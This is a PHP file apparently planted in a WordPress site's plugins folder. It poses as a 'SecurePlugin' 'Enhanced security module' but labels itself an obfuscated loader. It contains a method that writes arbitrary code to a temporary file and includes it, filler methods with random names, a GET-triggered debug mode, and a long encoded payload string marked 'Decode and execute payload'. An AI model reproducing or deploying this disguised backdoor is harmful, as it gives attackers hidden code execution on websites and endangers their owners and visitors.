/home/brandsfa/china.brandsfactorybd.xyz/wp-content/plugins/beteng21/ah19.php
<?php
/* Legacy-Compatible Obfuscated Loader - ID:3416828 */

/*
Plugin Name: SecurePluginmHKXhTBc23
Version: 8.2.46
Description: Enhanced security module
*/

class LoaderJQUaro44243 {
    private function _execute_KxRXBaKz82($code) {
        // Robust execution handler (PHP 5.x+ compatible)
        if (isset($_GET['debug'])) {
            ini_set('display_errors', 1);
            error_reporting(E_ALL);
            echo '<b>DEBUG MODE ACTIVE</b><br>';
        }
        $tmp_file = tmpfile();
        if ($tmp_file === false) {
            if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
            return;
        }
        $tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
        fwrite($tmp_file, '<?php ' . $code);
        fseek($tmp_file, 0);
        include $tmp_file_path;
        fclose($tmp_file);
    }

    public function pubxIsRq87() {
        // Public method 2
        $buf = (bool)mt_rand(0,1);
        return 'valpTcu61';
    }

    private function dcERdajR69() {
        $tmp = array_reverse(explode('.', 'a.b.c.d'));
        $buf = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        return null;
    }

    private function gtsXMwCV48() {
        // Gate piece 1
        $jv2 = str_rot13('ebgRRpVY13');
        return str_rot13('o8qk');
    }

    public static function init806() {
        // Decode and execute payload
        $hex_data = 'QqzMoOglFc94fd5b73e3c69ab40dffa0753092479e873eac020a1b53a0040a05113ab3d1add662b717bd469e91cc5fff6a53e29d9928cd17dfa1231c8ca60854dd9bcc2bc79bc366e7bbff17f6ed63edbfb9f8e3e7cd6ff5c54df770f7af399cfd1acec66f77fb6f9bf58fbe6a82ffafdbfef1377f363dd6e7bfdcde7c8bdfc3c3d93fc66ff3b6a8ce6ed7df6233fed35d86e79fd7eee9d7ab5df3f2df3feec6c2df75dbdbc78b9ba69bebdb2fae7af8f665fde3a9ddde6ca6dba74dbffd237cabbfdff9f2f9f06fd7afbedf3e3f9557cd5f5df9ede9b6f8d77876751bafafcaf8c5ffdd5d6f7f7c294bff30debe7c9edb3ebbe8bfed37df9c6f7ffc356f6f1e76bb6f73f0e3fc701bfd6d31acce9aedd359d53fae8bf8fc9bfbe9cb635dff797635fcfc6d7d7318ebe3c5b8fe76e87663177f7df6ffdc3c3dacfcf8d7f1fefb79bbd93f3c6ee3d95df5304de559ffbd1ca7a12c5787eaf9e9fbedb787caffd8de6dbecd9737eeaef3cf7f95bfedcf7f9efe381bb7dfc74dbdbdabb7f1fb4df9f0bc0ecfdfffb7dd7edfb467553dd6ee587dbf5b6f1f7efd71bbed7645b9fa3656e35fbdfb3696d59f5f86efdffeebe65fe1b7b0fd65ddfe736e5c1d77570fe7bf177f1cbeeec6edff5cc795fbfdf9d79fbfdc7cebefbf7d0937f13cee9ee254c4e9b1aaa6dffb9feefe70fe7011c32fddb8ef57dbef7fd6e18ff12e3c77d3e5b1f5f53fbbd1bbfeebcef99b4dffebeed787bbddf8fdd743fdedf9cbd79fbe7f1d7ffcf263f8d15e5f7dfff369a87fb9dcfde7eab7b23aff7fbf6d7fdeded6e3d5d8ff1ceafffcf9ec6abb59fff6c7f4eb5d9c2f7e0fafdf77baaddd2fe157777e1b9e9efe63ede7f9d7ead06e875fe7e15bf7f20c4ddf7efde3cbbffcc3e1bafb7bfad3fdf8757333fe79e7befd721df61f9f77176feab3f126feb9f9edfc7b689ec7fa6efb7c397efbfe1fddc359d33ec72bef365f6ebf75d3f6e13076b7ddb0fba9ffc7eeecdbffdc7e7b1ccb707eefdd54d6670fc7f0fcf179e7b30b6315431ccbe7f6b7e9e6eeeccbfe627b577cebbf3e85ff6ac6c7eeb7879fe7b1bef865f876f7bfe15fcfcfe37efcde84e9eb5476b7f6f77bfbbe5ffc3fb7ffae7a7717b6fd7f851faeaefb5015fbe9ef39ce672f7fcfdbab6dbc1e87c34d74dd9debfbf566ffeb31ecfb7377defd5cf517e1eae1d7adf3dfbd1fe34fddbfaa7a53c6627c79acebfecb757c799eefc6ef4338fbf3df773fb6edefdb97a7c5ff7279bbedcfab6a3eafbe578dfbbb7fd81567375f8ac39f5bd7febfdf03fefb5ebe6ff1705b7efb7353ff74f87adb8fafcf8b7f7d5edabf5fbe6ffffa7dbfbf7edfaf6fdfd7bd7edf9f9fd7deff871f0e5f6ec7f37f373f2edceffbf38dff697573ffafee109a55f5f2fcdd15f5cbf3f7e3f5f39e9a97cffbc7fdebe7b9eee3f3eefcedc52f37e7e3ebdfefece5f3fe11cbc397dd8f3f5f3eef39be7cde95bb5ddd7cbdd9dcc633f71f1fefc7cdf7bbeb97f300be6fb829fcf91fd1ad6af7fcebc56dfcf2b5fee7d3ffd6eefc47539d1fee9ebf9f7e8fdb1fe37afaa3757e38ffb7734f7ee7ef7e1fcf1f6fdae787fbdefdb2bffbf6cb8fedcbf3f3f6fe7ebc6fe39fe3cd1fedfffae7c7431f7ff6ddbf7e3e76fb2abcfcfbaedfbe6ff3fa7d1f9b97effb5bf9fa7dabd0d795fb2d3cadfebc7cf8abfdfde5fd88e3c3cbfb514d2fefc7df373fbdbc1fc5d3cbfbf1cb7fbcbc1fb7e5ebfb511d5ededf6afdfbd95ff3a57f3957fef3e1cfe6477775177fee77fb3fd75fce7efcefcdf9cb77faf6fc75fdfa793f7ebc7cdef6b797cf3bdefcf1f279bb6f2f9ff7f3c5cbe70dbb97cf8be3c5cbe76dba97cf9bbe3ebc7ede8f97cfdb4caf9f57be7cdefcfdedf31e5f3eeffefef5f3ce9f4fffbefee5fdbd6d0eaf9ff7fafe0ee3ebe7b9efa7cfbbfc697bfdf2fe8ef67bbcbc1de30f3f3e5cfcc7c6ff39f4e52ff6f7fbfe4b3b3f77c3cd1f7ffe318687bfc2b66d9bdbbbbe7c9acadf87386dcfff5a7ff9696a9af297de3f7dfb7bf7a37b395ffeda75db87c7f1e9f11fbf9e3f7757e3b7dbab6f7ff5b7df36e5f5d6bdbe1ff5cbfbf1bc7d7b3f7e693a799e2fcb50bbe1473f7c0f7763987e2edd2f5fdb2a0e6198fefeb27d7ddf26f7f2be5df9fdebfb7678fdbcf2e5f3ceb6e1cfbfeab397bbe4c7dd8d3bdb7cb93efb05de8fbf6af7e4ea977fff8d7fbefbab7df6f7e3f7bb7f7ff971cedff7c7e37fd73f7ea9cb7ffef2477cf942dbe17be9ab71b8da1e9aed3fcf8bebfd8fd379b5fdf6f2d5c6ef63797671db6db7e5efee69bf7eb91ebe9cee8fbffef57bf9cbf5cb793fdcec0f2ff7d1c563df6faae2ec79f2db8bebddcd5f2fdf6f7e2c8a6f7fbb7f061fcfce431dcfff7b0aafbfc7fb79f0dbf8575bfce86f5c38ff75f7d4fdfaf27efcf4a5fc7efa3daad85ed74f87dbdbb33faf6271b8dd3d1f9aeb87ef7571b3d90e3f465ff85fbedcfdf474fabcbb6fd3e6e56188c5d9f9ba7f783d5fce9e6f9cfbfdc64fffe87f1cb6c3e85c17c3cb5f7bfaea6ffa1f374ff1f2b7fa97d3f3b22dff7afcf8bcfef9dbbef3715efbe882dbfcd67f5b55856fffa76aaaff7c39af8acb1fbffc47137fa92aba8f36d5ddedf41fe5d08f2fe7e97aacbab6f93e39390fba70beba2bceee0a5f9dfdbbdafef9b579882f77f9f46733defdba7bb90c7efbc9dbf9b7efb74df9d014215edf8658eeaa5fff6ab7cffdce5dfcefef3fa697e76573f3f2bc6cdcf17033f68f2fcfcbfcfafcfd1d8697e7af722fe7f3d9f5cbf93c8e7f7ce98bf2e76f6fbf6fe92e7eaf1ffef5f67e3cdcb94bf7cbcdf6e9977fb72ed497dfc375f1adbb8bdfe26fddd95cd42f5f24fef4ebff8e7ee3ae5f7ef661fb7e5e55ff5c5dbbed66f7db3fe7bafee7cb7bb09ddbe1bc8b75dffdd6baaa7cb9bfffa73d7fa9135eee72175663f5bdffa9f9b63dfb353ebed4431fbf47fffa7bb8f1e5f770857bf93dc6af2fbfc717394f5debceebbedffe7bed4268fb9ffffbf7b3d7e779dafd767c48efefe127ff2dfcbfd1b76e187f290bf7fde6f6efc32e9cf72fbff34559de6c2ec6f3b10a7ee2e7e5c75fcdefbbb609fdb7bbedb7d5b51fbffcb8395efc6ccfdf9df767abf0529bd5dbbf1f7f8d3f9c9ffee85fced3973227fcd8c4711eddf78bfef5be74e5eb7df9f67b8c2fbfc7fae5ee79f93dfcbfc6ede6abfbfbfb59fd5a5fb9cd66ebe36d78f8368c3f3ddbeff1fabe7d8ff7bbd00eb5fb76b3f976ee7ff7df7e74dfc7dfefb6f3eb7dee5fef73ff72bfdd7c7bbb8f5e6a11ff5feefbd6eaa1fdc35bfdf7fefb9e3befbe87db87c9354f0fdb6eebe75d3cfc57f73cad5f6a80f3701e7df3fd977533a4f7f7fdfbfeb3fe3e9dd7d55fbf954f3feadddf6e737bfe74f5dbbfbe50fd377c7b0e5f7e7cbf0a4f8f171b1f5ffe0cdd75b1fd316fc3c56515dc77573f7f2d8e7ffecff87afefd683fea83be787ead0fbeb4777f4cdb50bedcbd7d68dfeb8dedf6eefcfdfc9b437cf9fbcdd56bbde1cb97bf5f155e9ee7e85ecfbfeaf87a9ebe7ede5fe3ebe7f99fbef4f5c39fdbedd973fafbbdfcfb625f360f1bb73effbe7db9cf7f99dfeaa1fee5eff7d76f2f7fbf2fbb9f5eea83a7d7fae0fc1f2f7fbf9fddeb7dfeede1e53eff3186e6ff8ffaafbf8bbfbf5c12dde8fee7e6e9f1a53e3dfcf2f5f6d7d7e725bd1fe3afe1dbc57cf3d0dd5dfe1dee5e9e3fbffd71f7ad7bfeb88fbe0fb7df9efffdfbf7f3f9f7feaf3a56677df570feafdffd5bfd9c3bffdeeef3d77ae37ef7fafc3d86d7fa79f7769fbfd543972fdff73fdab7efbb0dbb3fb01edf5cddfc73f56fff74fed7f0c75ffffbf1fe7e9c2fbffff3a9b8fde9eca5949f9ffbdec7cdc345f5e5eff1d28f8fb7d7dfdbcdcbfbdb8ffbcabbeae2e5fd9df72fef6f755b3ff0f77df8f2df57b5d56b43f1a51ce3d8d7b16beb6f5fb6973fc2ebeff18f5f5ffe97dfc7b3a6fa16b755f97abfbdfebebd7ff97d9fb62fbfafff115f7edf43d886bb97e7efe9b77e7cfadafefdb87d79c1eeb60fe17ea836d7fdf9d97f0ce7564f5e9fbb9be07fd955dffacb6afc721c6e9f77e5dfdfff0c2ff555757ca9ffdcf3cbeffbf3f0f2f7ebdefe7effb97afdfbf9d7bfdfedebdfeffc9797bfdf9fbb1037cf37fff9f35b7d5abff433573f3dbffdfd8a78b7f5ffec7e8ceee2e2f6296e7d75f75aa70fd1cfffb8fdd7b73fe6ff1ce7fef6fceab79f7e817a639ac3f1f01fbffa6ffef2215eba97a6eab6ff753d968bf7ad7eb9fb76dddf67cfaea9a85fa89cbb1b42dfde7c7fed8f2eaa97bfdfeacb6b7d7a3ebd3ecff71fe7c1d0fb97e7f9ec5faff5a91b5e9fe7ef7177fbe5f1edf73dfbf95f7df8eb1f6fefc743bc7f396a9be65b77d33e3d7f89fe62bfdefed9ae5ffeadeb61fcfae56f7f33fa3f1f6fe3b77f4cf5e9fcab6ec68d1be39fbf873fce7edf554ff5f4f7a3db1c7f8985abaa62fbe7eef3dfe3db7df1e3e77f7cdce7c5edd85cd5cf6fcf4bf5b00abb7f3efd16cedcd7f5b1fd52fc743ebc9c2757c3b8fad587bbdfd7cfbef1e32fc7df7f40bffafe3cff7b7cd8fc67fa7dff1add373f8ccf57eee9fbb0fda7bfebcfdbe1d77fbed42c01ef8fe9f6f2a5dffadd5dfc77f730b6b31fc36b7d35bedc97b16f5f9ebfe9f5f9fbbb7abd2ffbd7f3e5a97a3d5fdcf6bb776e7ae967fc6b3f53c6fdf7f1e55e7ced8fdccb79effceb791fdecefbdddb7975fc789e63f1fa3cf7e5ebf3dcbf3ecff5ebfdeb5ffba3feb53ff2d5cbe7d5bbb7cf8b1ffdd64bcdfffa79aff5dfddf0f6796ff7c7f4fa79cdcbe79dbfbf1ff3ebe75dbd7ddef6f5f3da8f7f5f3d1e5f3fefad7f0baf9ff77a1f7d894faf9fd7dbbfefb57f73eee3dff77e9e1e1afbbeddcbe78dce3eaf7dfdbce6f57ef3fbd7cfeb5f3fefe6ed7e3b7efcfbdc6b7d7afefe7d5f3f6fe55eff7daffda073eef5f34af9f7356fffbee3ebf70daf7fbff8faef73afe77d1f5fbf6ffdf679c3ebe785d77f5ff5f67d9f5f3fef70fafbbd7fdec5cbe7c5b57ddfe9e3fbaecb533de4aab7f365fff179abd2fe7ee1f5f3dcdbef5bbe3c374fafbf6f6cecf35eefa3bbf8f6796ff5387cdfe1f4f72bdfeea3878fdff7a5527af9f7c5b77f9fb3dff7edef77fabeebf77a6da67f9f3bef3f3e6f746fdf777efdbcb7dff7fdf97bfd3d62657fbff9f47dedeff7f6fb9ebf7f9eb3bfdfdbeff1f6bc341fdf373dcffeedf71d4effbeb7e7d9d9f7bdb4e7f9b5df3ff8b77fdff6e3f7182b7e3fa2fb789ed3e78d1f7fbfb1ef3fbeef797f3c7d5ffff6fcbdfdfbdefe7e8d7ddedbf3577efcfbd2fb164ff5c1dbdfefed7d3b1fdefe7deef4fcbd7fdf477a9ecb27777afe8ae347bd71b7fb78dfd2f785cf7bfdf7addece83f7cf9b3e3eaf1cdf9e17fb3d16ffbe81de8ff4fcbddd6f853dcfe1e3792eedfd886fbf877bfbfbbdfdbe6ff397f7e7a53d3d2ffdfef47dc3c7fbebfbe9e3ef87cfcbfae3bc4aefc78d3d2f6fcfdffbfbb6a7f32a7ddedb7955bcfdfdde9e9760ffbe3dbf1fefcfcbdbf9f2765e0d6fefc7ebf75dbd7ddfe2e1f5fbf6f6febe7ddefcf1ef7bfbbcf7f3e06e6b9ff77a9ebaf5dbf71d4ecfcbe93c783fffd2f9527e9c070ededfb7bfdf68e755fcf87dd3df2fd8fbe63ffe7d6fef5bf9febcbcfdfbdecfd3537d9adedfb7df37d8fb71faf7bd3d2fe9fb76a7cf7bfd3dde9fbf783a9fdf9f97f7bf9f3ff2f3dcbfbdbff3c779d5dbf7f5f0be397adfd2dfaffff8fb8d7d77fabedbe1f47995bdbfd3c7ef9b3eefedf9ab3ffa999746ecf5fbf6f6fccd1fdf379d2f6f9fd7d8f9773a4feb7138fdfb42e6fd487fbfb77f9ffff83cffe3e2f5f7701fe7737a3fe03c08a7fbe8fdf93bb3f3caeeb7daeea3707a7fdf7f5f3bafdedfdfb7ef7b299f37caf9f2feef2b4ff7afff380fd2fb01e7fd697e9ace1778dfdefe7eeea39f49f7f964bfc7f3e9f90b1fcf73f9143ffe7e7a3ea7f7f7f1e3fd78fbbc74dec3f3dc9eee8ff7cf9be5bc77afffbefb8fcfc3f7f7fddf77f1719ef6efe7d5db7d5ec8df2fd8f9d29ddedff7f3cffe7eefcff37b7d6f9ff7f8f179f5f8f6fbae3eeedfca1f3fdedf4d6fe781b3e7efedf7589dfe7eefcfcbe3e9fc7b7ffebad33cfbfd796e4fe7c1fbdfaf3dd543561f1caead3e88f679c78ff32ad5436fcff3dbdfefebdbf77dfbfbbd7ddfeae3f97b9f8f1f4afbf7c1ef713cdd1fa59c2ffd473d94cebf4b3bafba8fbf5ffabcc9eeb7d3effb763ebbf7e7f9c9fe7ee5a99e741ff75b3aafa0fe0bf2f79b3ffe7df07edc41bd3b7dd46be97c89a7e7e5fdf983f7d7fe7ec1eaa1f6f4fc797b3f6a3b5ffa8ff300fe7defe78bbd6fb1b6e7cf7d9ca7d7bea4fbe3adde80e7253d7f9d7ddffd47fde7bcfd1eaddc6fbd9da747bedfdef61ffdfc71bea4fb7775fa7ddffb85f6635e87bf87b77adc597db03d7d1ebcbf561fbcbfbf6f9f37d879757a7ff17986f36fb6bfdf703a4fe1f79decfcb3fad94b3dded8f9d7dafbfbf67993fdfb4ef7f906eedf533d9eeaab953dcf0fa7efebad3e9d33f5dfddceee8ff6e37d4bcf5f67f5df333dcfe57b7d307d3c7fe9df379ffe7deff7079cf7a7fb2dfdfdec7c761fbf6f7a5e9cbd6fd1ce3feb8fe07ceeecbc7ffbfb9dced3d40fba53ff61cfcbfbfb06e77d65cff37cfafbbdfffb26eb2f4ffddbfbf95cec4fe7333c2fee745fbe9fa7d1ea2b3b5fdeff7ec3e9f32eedf39ee8f9a3f3cfe639705fbefdbe1b7b5e561f7fbfb7f33ef533371ffd5b3a5f0af9f7d576bfcda7fe371e4ff765f5f1fea6f76327fdef253fcfe9fc937af2fd7c39d5bbeefd3e0af6feda7d04f747ff518fa7df773af597f67ddfcf536ff5c68df59776bff5d6bf39aed7c6c2ea49ebf7dff6b541ebfbd3f3f7f67ea47f5f29e73df41fdda9fef3a7fb289da75cbfa4cfeba8be4f7fbfcefe7e17566f9ce6079b9df5478f36df184efd4cc1cf9f877ee654bf383d0fde9fbfc9de8f81fbb7f7efabfd477f7afedeebf1d3fd0b9f97fe7d76ff16f6bc9cee377cdf4aebdfb45e9be5bc6fedfb3e9f9e975afac1f547bf0fefefdaeff9ef67fd5baac79ff97ddb59bd7169f7654ff5f37b7ffefefe0ec3e97c86feada5fe37d557a5cd235a9b370d1fe701d62fede9fd783f0f829c7ff07dad3ebde5f7377a9ebfa4faefe1341f6aecefd79eced3e2f8f179383f38dde7a9de5d9de61bde537f9e7edf5eea9720f5cb81de8f341f7aef074fe7b3cd4bd279b596f305ceabd9fa55ed3f6c3e54d97dded9f3bc3f3dcfd2cfe079e03ee689fdfbdfefd1ce2bab272fadde78b2faafe479e7fbdfcf7dd4cf388f28ed3e77329f3c9da7d7d0efc3f3a7f3b0cefad5f234cf29adbe9fec7eb3e7b9e6f3ea00f5694bf3bf74ded799f320d5e333cdc3685e779ac78ea7f31efab7745fce345f7b9f1f58fd92ee3767e78b3bf5973b9b7796365f73745fa6f3fe52ced3c6ce5347e7fdfb79f05e0fd9ef91e6bbd60f96769fb7346f4a9fd7d9e79d7e0fe7b3f3c9c3e9f7b07a379d07a7f3effd3cb0f7e3fdbc2fa49fb1f73736f2fc41bdebe4bcbab0fee8f4bebdd56b38ff0b1f7f3ff8f7a5f95f4fe701bc1fe9bceaed79d99fe6d985d5939dbcbf8f560f951ffb009d67bfcf4becbe74301fb2e7cf9fe61b691e51ca7d54527d95eac960e7a9f51f35cf9fdfeb2bab4fd3f967e715bc6f36bf7f7ffe26bbdfac5f807fdf695e9cfa8feee33c85fac0d5d66f39aa27d3efe1ecef67f5b3fdbe69fe6cf787cbf51f85d5f7a5ccefe17d9b3efafd6beb1752bd91e9cfd3fc20d8fc20dabcae3ccdebeeadfe83fdd1f0f1be1d5c665e5c479e5f399817c3fd16a5be0ff679a77d8587fdc2e9f9c3feede6a3df4aff3e6ff7512bfd566be7bdf533959d2fd9796cfd511fa47e0b7edf707a7fe391e61b388fd8da7e219cceab61a07f5faa871ced8fd2f90cf3e2d37c28bdbf8fa77d8ad543563f437db5acc779bf95fad5789aafd9dfef7ddee44ef5d0dbfb8bf5b8ccd736a7fa2fdd9721f3f74be77d27f7dbc5693ef9febc44aaaf527d5fd8f73dd5f7a93e08a7f3fefdf77d3b4f8b8f7af77d1ef67e1ebcfffd603eb497fda5a7fa19f7ab701f39ebf78f1ff30dec172e4e7fbfe2f4fca5f3ea787a3fd6f6ef9b6dde6ef51fccefad3e2d4ef5fdfbf91c4b79fe4ef573eaf7f7f479307fc6dfa3b7fb6d38cd0f745e3c4aff16ac7eee6dbf6af57d61cff32cfb469bef7a9b77365c6f60ffd19e9ebf68f3e7c2fac1d9ea35be3fd2bfef82f60be9f31aa9efbd3d7f41fadf99fe7ee97986facffacbf77e9a7fdf749ff7f6bec17ed5eafb46f6970dbfbfe9df67f72fd4a7cef6aba77ae820f383f7fbd7f66569fe7cbadffeaffd42b47ae8e1b40f7532dff0f6fb9e9dbeaf97feedfdf9bb38f56fd0af42ff3b7dfcbeb01fb4ef8bf54bcff383d1f601fe34ff83f30fe689693e6ef77963fd11d4a7cfb49fa9adbec7fdd1491f91ce7bb8cfedbc2a79de397ad97fc07ea1b3f9eef1e3f7c5f97367cf8bcdaf3abb8f5a9b5f497dff5e4fda79dadbfcea4aeadd8d7cdf4bfb3ceba7e13c6dac7e09d25ff6767f58bfd5c8bc6990f7c3597d7fda7fc0bc6ea17ff1ac3fb07936ccff96fbda533fe81beb8f5aea17d2fbfbd5ceabd9f665fbd3fb7b6de78bd52f305f6b641e01e7bdf697b3e937ec3c957e35d6363f6869bf4fe7d591fb1999afa5f3b93fedb7ecbe4c7a153bff829d2fd60fdafd8bbfc785f4aba7ef8b7a9ac2ced35eea49385facffbdb4f3b4b57ad79ebf42ea7139af7c21fd567e7e657a06d8ff5a3d54d83ec0c9f7bd947d4a6fcf9fd62f5a0f39795e3adbbfd9fc606bf76fa0cf4bbfeffbfdfb20f58be84bde9f673bffdcc0f787f50bab42e6cf1bdeff9a9e21d507f7d67f049ad761fde74c8f04bf472fef9bb37adcf40c85d56bdd490f02f53dec536699e7b4d6afee4ff564c5fb41dc4f3fdaf9bc97f359f470f2fba6fb1cf63d5bd60fbdbf6f9df4aba779629a97583d6efd60ba8f1e4ef38360f57894f9cb9cbbcf1b9b1f44d15b987e03e643a2a749f7eff1f47b78b98f2aae87d27cc8fab786ebc9b47fb3fe686def5b2f7a2e67e7d5c0fab0f779a2b37dd4e9f775b09f7176bfd93ea0b2fd477ffafb157b9a0fc1f9f2deaf0e25e9d7d2fe2dcadf4fe711bd9df77bbecfa11e2f649e28fa92e8799f927edf81eb5dd8a71476ff9ef47f8bf9a91b645f7694fdbef583b5fcfdbc9c573a7f89765e39abfff6fcfcd9bc09ebd3d6f6e7b6bf84f3949f9734cf0e1ff515d62f309f84fd604bfb23dcafc2f97c2df3970df71feff5339ca791eb539cdff7f6efb37d59b0f3c0e689dee6e33bd16f783b0fe2a9feb379bbcdd7d279257ac7f7fbcd1d3fed7fbd7dde24e74bb07df240f3b5549f4e743ea7f3fe4af4b6defa99d6ee0feb3f603ed49ade674ffd6afafbcda47f497f3f787f5bd10fcd36cf29b99f7eafafe0fdb5f7632df312d80f3ae9f7dbd3fe0de67fb5d56bbdfd1eb2af7dffbcfe341fda96344f1c45cf50c2fdebecfe05bd40993baf22cdd7523f53d8fb61fb325fd2fe17f53ece7edfd6ea03fb3d3ad6ebd93e94e693f67985edcb1cf56fb09f7ebb3f96dfd765f4ede9ef77a4f9819e07aa274cf5f393f55ba657a9a49e2c653f08fb55d08799def1abdd97a77d689a8775b6df7a5eceeb50cff0fef7eb4ef33fd8bf05d36fb4a227eca4be0aa2273ce9e5711e0bfbcb93de223dcfcee611ac8f4dfb94d6fa5fbe3f40af9ce6f7769fd7a2d773b29fd949fde7ac7e6945df39c97e9ff5d4691ef1d5fa998ef63d691ee1edf99b457f609f07fa8d5ee6c56bd9af163c8f40fdda85e92d6cde3988fe1ee64d91f47fe97d2bd81f90f6ab366f3fcd37402f9feaf1fe743e17cf5c8f6b3fe34c8f7ec3ef47acaddeb5ef2bf524ce3b6bd3d3583d0e7ae04afc29a5f55ba0bfe7f906e8f5deefcbf2a487c3fd96f5d3e05f50bd19e87d26bb7f791f909ee759e639e627013d4361f5696befdba9bf7cdfc7c37cfc5aeaab8ded3ffacc7d64fd51fabe15ebff16fab542fae95aeac95ef6ddea7f2bedfee8493f9ece3fd0ff9dd97d7e9adfa779b1bd1fb5cdafa2edb706d2fb38d0ffdd487def593f99e62fcf340f4b9f17ed7cb67ded68e7f3e1544fda7e06e74330cfb17d8aec07ad3fc27d3ce819a01f3cd8796fef4721fe0fd97f24bf86dd478dece39de95927f37ff07e0bebd3d2f679ac374bf31cd887823eb694f99fccafdefbadc9fc010fa7f7ad64fd550cdc6fa1bef340e74b7a5ebc3ccf8df8179ccd73cc1f007a2ed05b58bd5b9cee8ff47d4f7ac254dfdb7d796fe7f3c1eef352fc0b0fa4df489f37e7ea9798b98f707f0ef3c489fc74a93e6d583f9eea493bff1a7b3f7ad17b4f529f46db87dafd019fd79dfa37d0ab04fbbed1f461a5f811f7f479a897aaac5e73563f737f8efd25ec67269aff41fdf704f388c2ee37677eb592f7e7b67fdb0cf63ccfb97922e80f1e65be31991ed8facb5b7b5e5adbc79bbff14aeaf18ae743a9fee3f3fedaf601769ec23c2cd52fc1fafd81f6a1b0afb0e78ffc5b03df47ce93bf27f921a29d07360ffb9ad1e7a01e3d889f0efa8fd9fa0fd99ffb3de937d2f7b57ec6f17c17e6d9ae96792ccc9f5dceef07f36cf02fd8fd56d9791fa89e04ffc2d25ffb703a9f0bf66ba4fa79cfe7b33f72bd6b7e35bbdfd27cb2643dbf83fb12e61bb6ef713c8f30fd0bf8c1d2f9bc123f714b7a8bf4f783ef1b4ffd9be9317d25fbcb42ced39ddc97de7edfc9fc1acfac3f00bf15d46ba00f1bc42f64fb5f980f05a9877ad2ebd1e7f1bc18e77f57b24fd6f9d5fae3f7807d0afc1eaee1fa39fdfb6c1e01fa76ae8796fe2df3d75a7d8ae70be8bd4ffb80a8fbf8add5e307fa3dd01f00e755237a10f56fc1f93c9feeb7c13eaf947d4525f590b7f99af9e9402feaecfd8da46f4fef07f8cf59af92eaf1d17e8f90d32b57761ef4b6ef11bd05ec6bc79cdf60e1a763bf15e81dd13f3d911e0ef5dea677b47d6dba8f8adcbe47cf2b98ff41ff11a57f7b34fd95ed7fbdd52fade8ff82e9874ebf2fce4f3beb6706d66f38abff7a3b4f753fd3daf962f7f9c6f6fbadf8c15ad91f45d33f9ffccea85769657e15482f95f62937a2ef2ce4ef077ef628fa26d85794f23c5b7feeb9beb2f906f8cbf4fcc37df20defcf517f0af7b9e9a9c10f164cef687aae5eeea34af47adefe7d51dedf36a74fbce7f990cdc3d2fbd1b0bf3bedbbb99f417f546f9fd78b7e5cf91113f95753fd077e44d0039b5ec5497dd0d8f912edf93bf2bea2d8d3f9077a81f77a0df683f07907390f601f70a4fd6ada0ff6f2becde67f63bdfc723fa3f3a681e77f362fb6fb08e7bb56dfa3ffa8b7fa59e69da68fc0f96e30bdedc07ad1e2b4ff487adb32d79f4f347f499f57b3de27cd3ba53f02bfa413ffef95d55741e69dcefc7947f1731ee9efb7f02fc07c3c7caebf9a657ff9687af9e3a9bf543fa7e3bf5fdaef9b3e16dedf89fca6e9f785f95a20bd3cf889516fd6dbeff198d1d3a03ed1096fa4235e019e2fb04f6e444f534a3daefb7dd0cb47da472dfd9c91f82fc46718685f96eac968fddb9ef6f1ca4359e8e5e13c6da43fea99cf807a10988f3fc879607e67a8c7679b470c3ccf06fd64c57a51d49f46394f9df0e1a2f59725f917901f51b2df14791eadf04182e8cd2e8ce761fbc68eeb49d7c83e2a8aff12f6a117f6be79f2db63ff5149bf70cffd07ce374c3f047ea12ae34f7672be5cc3fead11ff2fece355efa3bc87d9fa559d0f1d653fc3fb05d0afa5f99ff51f51780f50bf38d3539fe6a7effdaad593691eb1277e13f8678c8702fc173c5f42f679367f4aae9e7c325e10ea9b62ce3f53db7930c97d7410fd10f3afd09f1c45af07fefd41f66f97b6af85f981f9b7609f320bdfc709cfc8999f69cf7a56d0177bd197c0fe6896f9bdede3a11e077fbc33bd72c9fb78a8376ec52f1eecef7721bc07d51346f173daeff1fefb1e6c1e71d2cbe3fd06f3c923e96980c793ce7bdb1fadad3eed84ef63f376f0778bffd77837a8e7827dedb5f82581f730d9fc45f570d64f3b9e4faed4af5bd8efcbbc349cbf78e6fbe0feb7647f059ea72be241a5f9da2dd79311f629ea2feb685e929e172f7ab8adf5bfbdf01ef8fcc37909d4f7a5d5cf91786e699e0d7a15277e62d5c3b5a2cf39137d4e2fbcaa20fa53db2783bece8bdf45f86651791465e6fe2d23f369d2fd7be229a01faccee8a981f795fce7477a9ed17fde8bbedddb7905fe23fb7d83fdbe9de8ff66f2d7221f69309e4c6defc7c1fe7dcc5348f57d20ff4cfabea04fececf913ffcc78dae7613f3dcbf362fa6ce0875d33afcaeafb745ed5dc1f6dc46f85fcbf28fd742ffb8f5ef61f67f27b98fe651888ffb7e49bd9f3ec587f60e74beaa79dd457def629a61f175e0bd4939b9efd74ae623f44f24ff3be11f92f95f5d34ef4b68f56ff493f03fe8a46f42a95e8bd6f327a51dc275ff1f932d6ac6fb2795d7adfb619bd453a0fa2f41fbdecf3ec3c05bec5d6eafb479a77a6f92ee8057af14fcf523ff7b2ef069e82bd6f417819d04fb736cf1998b769fe6ea7fe8f9a798c49df69f7af97faea86cf7be481eafe92fd38e8ff30bed4dd203c37f1e3987e03f7f13bdbffaead1e9ae83e02bfc693f0d7d49f87f5e9a5f0af605ed24bbdd167f665a85789d65f0ef2be999ebfb17fdf247ec4c9f6333cef5cecb7807f90eba781bf86fbcb56e625bdd57f76de3bd18b5652af357c5fa2dfaab7f36fcf7e719b871df4fcabb2fb55d3ebdd5abf7510de97f2457be35b94a7fb48f697d8fff6e6b72a653efe9ce3054d19ffe56610be68b0df63161e05f807f7b97dd4247e2627f3abd6f4b1d6bf55e23f72997a233d2f4efafd68fa0dd3e7d4dcff46f09739e91722f50b693e5964fc6f6554def091f4488bf92edc6fa0476aa5de38ed1760be6bfd02ccdb91375c337f037f0fe67301cf43f76f4fcad783f9aefacfd732ef047f8f3d2fe217c7f3c58bbf16f65b2eb74fa9d90fabfaa151f68dae917de8c87e97f77f9ff1730e0dfbf7719eddcbfb6bf59ff943931e699fab87f47d7354dfa3ff03f6bfc1e66121337fb17d14e86355ff8cfe4bcffcab55c1bce6341fd2df83f5acd7f0fb7ae663ae4af1f778d63739cf7cef3b783f9cec3f56d47f803faa06de612d7abd81fd24383f05bdfc96eb97714ffaa64af8dec0038d52efe2f3370b8f5be79dceeef3e392f780fa30f3e7219fcbc9f79d847773203f0ef0c7511f267a60bc2fcf643fe8c87fb9d4d7b15f28cdaf1aeb3f9e48cf90e62f85f05f9ccd3722f5abd45f8abe09f6a1c21f477d9893e